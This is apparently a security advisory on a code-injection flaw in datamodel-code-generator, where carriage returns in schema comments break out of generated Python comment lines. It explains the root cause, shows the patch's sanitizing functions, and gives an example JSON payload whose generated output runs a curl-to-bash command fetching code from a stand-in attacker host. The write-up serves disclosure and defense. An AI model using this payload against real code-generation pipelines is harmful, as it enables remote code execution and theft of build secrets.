CVE-2026-54654: Python Code Injection in datamodel-code-generator via Comment Line-Break Escape

The open-source library datamodel-code-generator converts schema files—such as OpenAPI definitions, JSON Schema, GraphQL models, and Protocol Buffers—into Python structures. These target structures include typed components such as Pydantic models, TypedDicts, msgspec Structs, and dataclasses. Because this utility programmatically writes source files intended for execution, the integrity of its generation parser is crucial to preventing downstream code execution.

Historically, code generation tools are highly targeted vectors for supply chain attacks. When a developer or automated ingestion pipeline retrieves an untrusted configuration file, the generator compiles the inputs into static python source structures. The threat model changes from passive schema processing to local file execution once these scripts are executed in user spaces.

This vulnerability, classified as CVE-2026-54654, manifests because of inadequate validation of specialized control symbols. Specifically, when rendering descriptive metadata, the script relies on raw string injections following inline comment markers. Because some newline symbols are not processed correctly, they terminate the comment block prematurely, creating executable statements from what should have been inert code commentary.

To diagnose the root cause of CVE-2026-54654, it is necessary to examine how the Python compiler tokenizes physical lines. A physical line is defined as a sequence of characters terminated by a Line Feed (\n), a Carriage Return + Line Feed (\r\n), or a standalone Carriage Return (\r). Other control characters, such as Vertical Tab (\v) and Form Feed (\f), may also partition physical statements in multiple parser implementations.

In Python, inline comments begin with a hash character (#) and continue until the end of the current physical line. The lexical scanner interprets the comment block as spanning up to the physical line boundary. If a carriage return or vertical tab is introduced into the text, the parser splits the comment sequence. The text preceding the line terminator is treated as a comment, while the text after it is parsed as an active statement.

Prior to version 0.60.2, datamodel-code-generator dynamically populated Jinja2 templates using model metadata comment variables without prior neutralization. This meant raw input strings were injected immediately after the # character in templates like TypedDict.jinja2 and BaseModel.jinja2. Consequently, any user-supplied carriage return character was rendered directly into the generated source, breaking the syntax line block and allowing code injection.

The diagram below illustrates the input data validation pipeline introduced in the fixed version of the library:

This vulnerability has been addressed in commit b73abb5cd703a50471b8950bbd3bd0b82ad71de7 by implementing string normalization. The patch inserts dedicated sanitization routines within src/datamodel_code_generator/model/base.py to strip vertical lines and escape comment parameters.

def comment_safe(value: str | None) -> str | None:
    # Standardizes carriage returns into typical line feed newlines
    return value.replace("\r\n", "\n").replace("\r", "\n")
 
def inline_comment_safe(value: str | None) -> str | None:
    """Make a value safe for a generated inline Python comment."""
    if value is None:
       return None
    safe_value = comment_safe(value) or ""
    # Convert vertical tabs and form feeds to newlines, then prepend '#' to each split line
    return safe_value.replace("\v", "\n").replace("\f", "\n").replace("\n", "\n# ")

These functions validate and intercept metadata comment attributes prior to rendering them via Jinja2 engine templates. However, review of the patch indicates that when custom templates are defined by absolute disk pathing, this validation logic is bypassed entirely (use_custom_template conditional check). Development teams relying on custom template definitions must ensure their designs are secure.

Exploiting this flaw requires the ability to influence the configuration data consumed during code generation. This typically occurs in automatic client compilation pipelines that pull schema specs dynamically from third-party application backends or external APIs. An attacker can construct a payload by injecting carriage returns inside schema description properties or template metadata arguments.

Consider a scenario where an attacker targets a code-generation automation worker. The attacker provides an metadata payload that utilizes standard carriage return sequences:

{
  "Model": {
    "comment": "safe comment\rimport os\nos.system('curl http://attacker.com/payload | bash')\n# "
  }
}

When processed by a vulnerable version of the compiler, the output structure writes the comments with physical line terminators. Because the carriage return behaves as a line terminator, CPython splits the text into separate execution statements:

# Model definition
# safe comment
import os
os.system('curl http://attacker.com/payload | bash')
# 
class Model(BaseModel):
    name: str

When a downstream utility imports this generated library, the code executes immediately under the privileges of the executing workspace.

The impact of CVE-2026-54654 is highly severe, carrying a CVSS base score of 7.8. Because the command injection runs within the context of the user running the generation tool or executing the generated Python file, it represents a direct vector to system compromise. Attackers can leverage the script context to read system environment variables, pull authorization tokens, read sensitive files, or run interactive shells.

In modern microservice architectures, developers often build automate pipelines that run code generation tools during local compilation, CI/CD execution, or cloud deployment. A vulnerability that triggers execution during compilation can result in the compromise of target development boxes, cloud build agents, or production cluster systems. The compromise can easily propagate horizontally to code repositories and shared libraries.

While user interaction is required because a developer or pipeline has to trigger code generation or import the generated code, the exploit complexity is exceptionally low. Since standard build configurations run with elevated cloud environment secrets, exploitation can compromise upstream credentials.